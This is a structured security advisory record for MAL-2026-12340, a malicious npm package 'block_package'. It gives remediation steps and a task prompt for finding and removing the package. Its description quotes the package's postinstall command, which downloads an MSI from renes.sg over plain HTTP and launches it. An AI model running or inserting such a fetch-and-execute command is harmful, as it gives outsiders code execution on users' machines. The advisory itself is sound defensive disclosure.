{"answers":{"affected":"1 open source package ship an affected version, including block_package.","exploited":"There is no known exploitation of MAL-2026-12340 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-12340 is a malicious package in block_package, published on 5 Aug 2026."},"fix_prompt":"MAL-2026-12340 is a malicious package: block_package (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-12340/ (Markdown: https://insights.sbomify.com/MAL-2026-12340/index.md)","id":"MAL-2026-12340","markdown":"https://insights.sbomify.com/MAL-2026-12340/index.md","name":"MAL-2026-12340","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"scripts/postinstall.js runs automatically during `npm install` and uses execSync to invoke `curl -O http://renes.sg/npm_block_package.msi \u0026 start npm_block_package.msi`, fetching an MSI installer from a non-publisher host over unauthenticated plain HTTP and immediately launching it on the installer's machine. The fetch is unpinned, unverified (no hash or signature check), and delivered over a channel trivially subject to tampering. The MSI is executed as the installer user, giving whoever controls renes.sg (or any on-path attacker) arbitrary code execution on every machine that installs this package.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in block_package (npm)","id":"MAL-2026-12340","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"block_package","purl":"pkg:npm/block_package","source":"MAL-2026-12340"}],"products":null,"published":"2026-08-05","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-12340/"}